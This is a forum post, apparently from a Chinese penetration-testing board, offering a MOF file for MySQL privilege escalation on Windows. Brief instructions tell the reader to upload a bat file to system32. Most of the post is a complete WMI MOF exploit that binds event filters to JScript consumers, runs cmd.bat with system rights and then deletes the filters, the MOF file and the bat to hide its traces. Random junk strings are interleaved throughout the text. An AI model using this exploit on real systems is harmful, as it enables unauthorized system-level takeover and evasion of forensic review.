中国网络渗透测试联盟
标题:
Mysql 提权即时无错Mof exp
[打印本页]
作者:
admin
时间:
2013-2-14 00:05
标题:
Mysql 提权即时无错Mof exp
这个sql提权MOF需要运行 system下的文件,不能定义路径。
' C& f, o) o& l A) C; c9 X4 a! h
需要将要运行的命令写入到bat上传到system32目录,然后执行。
! ~7 }4 Z5 F9 ^" j; e! {
! [: v/ ?$ M; C0 Y& D
这个sql提权MOF需要运行 system下的文件,不能定义路径。
/ q- q% ^! Z v. c4 h: h
需要将要运行的命令写入到bat上传到system32目录,然后执行。
; u. X% k# I" M7 d0 h! O9 ?0 |
! i9 r; t3 H9 n2 b$ D
#pragma
# q. K7 O1 E2 a" h/ Z! J3 t
namespace("\\\\.\\root\\cimv2")
- e& Q. N( v2 X @4 `5 I* n
class
% |# R! A" Q' M7 i
MyClass547
( j# l" X, c. R* T3 m! l. G
{ [key]
+ k; F* H" q! ?( e C
string
% x O! Q$ m: g: S" O
Name;
+ }3 T1 S. U' l7 {, {
};
4 L1 Y1 z. @3 l* @* R4 ?: [7 t; u
class
. ^+ N; O; N( @0 b9 n( D' c7 \
ActiveScriptEventConsumer
# E }* f+ K2 M* _& T
: __EventConsumer { [key]
& c" X6 r4 n0 r' r. W5 O- O6 X
string
" Y, H9 {4 S% P7 \3 W
Name; [not_null]
$ I% S4 _) o9 n
string
4 j2 e5 D4 K+ q+ F. D# d
ScriptingEngine; string
$ j0 A$ a' f Z0 B
ScriptFileName; [template]
* M( N7 @3 g2 d( O- }, h
string
" L& c( W7 v7 `" @& J5 S1 W4 t8 P
ScriptText; uint32 KillTimeout;
7 d6 I, L; X W. x0 c
}; instance of __Win32Provider as $P {
3 G- A" ^& X$ b( {! G% }5 u
Name
5 j' q8 _1 n. Z7 \) b" y
=
6 P+ ^0 O, e/ C8 U7 Y
"ActiveScriptEventConsumer"; CLSID =
& f9 L* r" S0 d( e9 ~( L' X
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
5 Z% M( I4 r+ q
PerUserInitialization
1 g1 n* I# G5 n9 K' a
= TRUE;
/ {9 o. `$ ~8 p* a: H0 v6 g
}; instance of __EventConsumerProviderRegistration { Provider
; v! F( W3 m! M' i1 J/ \! N
= $P; ConsumerClassNames
4 g5 t1 Q. Z( t* c7 r
=
" k0 d' o/ O! n
{"ActiveScriptEventConsumer"};
3 R: h3 `2 n* q+ U5 w6 p. `6 b
};
) _1 p% a0 X: U4 H+ Y. O5 E
Instance of ActiveScriptEventConsumer
2 Z, H) @. [4 g! c) n* W0 Z m3 b
as $cons { Name
4 C7 S. n% W% H1 F3 x
=
; W9 V; D/ E N0 `
"ASEC"; ScriptingEngine
( U8 ]6 t# j. i" D. d5 ]) d8 y
=
: T2 q4 q; e9 {$ V" l) _
"JScript"; ScriptText
3 J) V2 i; c7 i1 }1 _% r
=
' H- Y( m9 J+ m8 Z# B
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
! r5 ^6 _, l1 c" J+ U: j
Instance of ActiveScriptEventConsumer
0 ^' C! w, m q; G6 U: h
as $cons2 { Name
4 X6 u6 s$ R! {0 s& `
=
$ ~! g) [8 r" \1 h
"qndASEC"; ScriptingEngine
% o; u- b$ A, l- N8 i
=
4 Q. p9 R* Q3 v8 a, W- Z0 a' _
"JScript"; ScriptText
, g. `: A" t% Z8 H m; `% g7 b
=
9 K4 p: D% X4 O! D9 h7 v
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
+ c. l5 {' `/ r6 ?
}; instance of __EventFilter as $Filt { Name
F4 O- m$ I# M# W6 C3 E o. z
=
* C" H8 D# E6 ]
"instfilt"; Query
& t5 B& ?5 @3 Y) `9 o7 A
=
6 B) r/ Y8 h% i
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
X1 o, K# d7 T/ u& f# h
=
% }1 A; t& L% X3 k# K
"WQL"; }; instance of __EventFilter as $Filt2 { Name
% {& ~- F$ r6 }* i; v
=
& b5 |& V$ l3 {6 K5 O9 _
"qndfilt"; Query
# k7 i9 x: @: y9 j. T5 Q
=
2 u' {* W/ C% u
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
6 _& I) ]* Z# ^, H
=
v8 M% x; j) j6 @ H
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
7 J: b" A2 i3 t- x# L( H) Z
= $cons; Filter
2 M X `5 |- p* u
= $Filt;
# R) s) E3 C! |; v) c; b
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
! L- d! V6 u/ i+ R9 I+ ~# o& Y( X- K
= $cons2; Filter
$ D0 H/ f% \. T; x$ u) V8 B
= $Filt2;
1 ?$ g. F+ s; K% l! `. Z1 k* A
}; instance of MyClass547
/ z/ W* c% e$ Z6 P
as $MyClass { Name
/ t z! }; C k' C
=
9 Q' x& o* V6 T4 g) b
"ClassConsumer";
1 r9 u8 P1 W# P& ]& q% c) S
};
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2